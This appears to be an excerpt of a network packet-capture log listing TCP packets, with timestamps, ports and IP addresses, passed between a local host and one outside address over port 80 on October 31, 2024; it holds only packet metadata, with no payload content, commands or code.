Oct 31, 2024 04:16:22.448719978 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.448740005 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.448792934 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.448800087 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.448820114 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.448918104 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.448932886 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.448947906 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.448955059 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.448962927 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.448998928 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449008942 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449054956 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449060917 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449071884 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449078083 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449094057 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449109077 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449116945 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449134111 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449136972 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449151039 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449163914 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449187994 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449213028 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449230909 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449268103 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449282885 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449296951 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449306965 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449335098 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449378014 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449392080 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449405909 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449417114 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449429035 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449445963 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449450016 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449466944 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449491978 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449493885 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449506998 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449529886 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449544907 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449716091 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449748993 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449764013 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449768066 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449794054 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449814081 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449816942 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449843884 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449867010 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449882984 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449888945 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449903965 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.449912071 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449934959 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.449949026 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.450000048 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450016022 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450037956 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450052023 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450054884 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.450067997 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450078011 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.450104952 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.450165033 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450179100 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450195074 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450207949 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.450222015 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.450243950 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450246096 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.450263023 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450288057 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.450313091 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.450340986 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450356007 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450395107 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.450396061 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450436115 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450437069 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.450452089 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450468063 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.450474024 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.450489998 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.450505018 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.453661919 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.453716040 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.453731060 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.453743935 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.453761101 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.453787088 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.453787088 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.453824043 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.453824997 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.453840971 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.453871965 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.453871965 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.453902960 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.453917980 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.453931093 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.453943014 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.453954935 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.453978062 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.453994036 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454001904 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454010010 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454030037 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454035044 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454050064 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454051018 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454066038 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454087973 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454113007 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454170942 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454231024 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454231024 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454246044 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454271078 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454281092 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454309940 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454324961 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454338074 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454345942 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454360962 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454379082 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454394102 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454408884 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454423904 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454436064 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454446077 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454457998 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454473019 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454482079 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454487085 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454497099 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454516888 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454571009 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454586029 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454598904 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454605103 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454631090 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454634905 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454731941 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454767942 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454857111 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454871893 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454885960 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454895020 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454900026 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454916000 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454922915 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454952002 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454952002 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454969883 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.454987049 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.454992056 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.455008030 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.455009937 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.455022097 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.455028057 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.455039978 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.455041885 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.455059052 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.455064058 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.455075026 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.455080986 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.455094099 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.455100060 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.455110073 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.455125093 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.569096088 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.569137096 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.569159031 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.569185972 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.569224119 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.569238901 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.569262028 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.569262981 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.569281101 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.569283009 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.569295883 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.569303036 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.569314003 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.569339037 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611052036 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611082077 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611103058 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611107111 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611124992 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611131907 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611146927 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611149073 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611157894 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611165047 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611211061 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611247063 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611283064 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611289024 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611298084 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611329079 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611335993 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611341953 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611358881 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611373901 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611381054 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611397028 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611412048 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611601114 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611634016 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611639023 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611649036 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611670017 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611676931 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611685991 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611702919 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611721039 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611733913 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611741066 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611752033 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611768007 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611784935 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.611968040 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611982107 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.611995935 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612014055 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612039089 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612119913 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612162113 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612318039 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612330914 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612359047 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612365007 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612375021 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612380981 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612396002 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612406015 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612417936 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612430096 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612435102 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612448931 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612468004 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612490892 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612493992 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612518072 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612533092 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612533092 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612549067 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612555027 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612567902 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612571955 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612582922 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612586975 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612600088 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612608910 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612616062 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612626076 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612637997 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612646103 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612663031 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612693071 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612701893 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612728119 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612736940 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612746954 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.612768888 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.612787962 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613020897 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613037109 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613051891 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613059998 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613078117 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613089085 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613101959 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613147020 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613185883 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613203049 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613218069 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613224030 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613235950 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613239050 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613256931 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613261938 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613277912 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613280058 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613293886 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613293886 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613320112 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613322020 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613327026 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613339901 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613354921 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613360882 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613373041 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613390923 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613492966 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613696098 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613712072 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613735914 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613774061 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613847017 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613862991 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613878012 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613894939 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613905907 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613912106 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613931894 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613934994 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613940001 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613955021 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613977909 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.613985062 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.613992929 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614006996 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614011049 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614018917 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614023924 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614039898 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614039898 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614056110 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614065886 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614073992 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614089012 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614094973 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614101887 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614105940 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614115953 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614124060 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614134073 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614150047 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614167929 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614197969 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614238024 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614378929 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614399910 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614422083 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614440918 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614443064 CET	80	49891	185.215.113.16	192.168.2.4
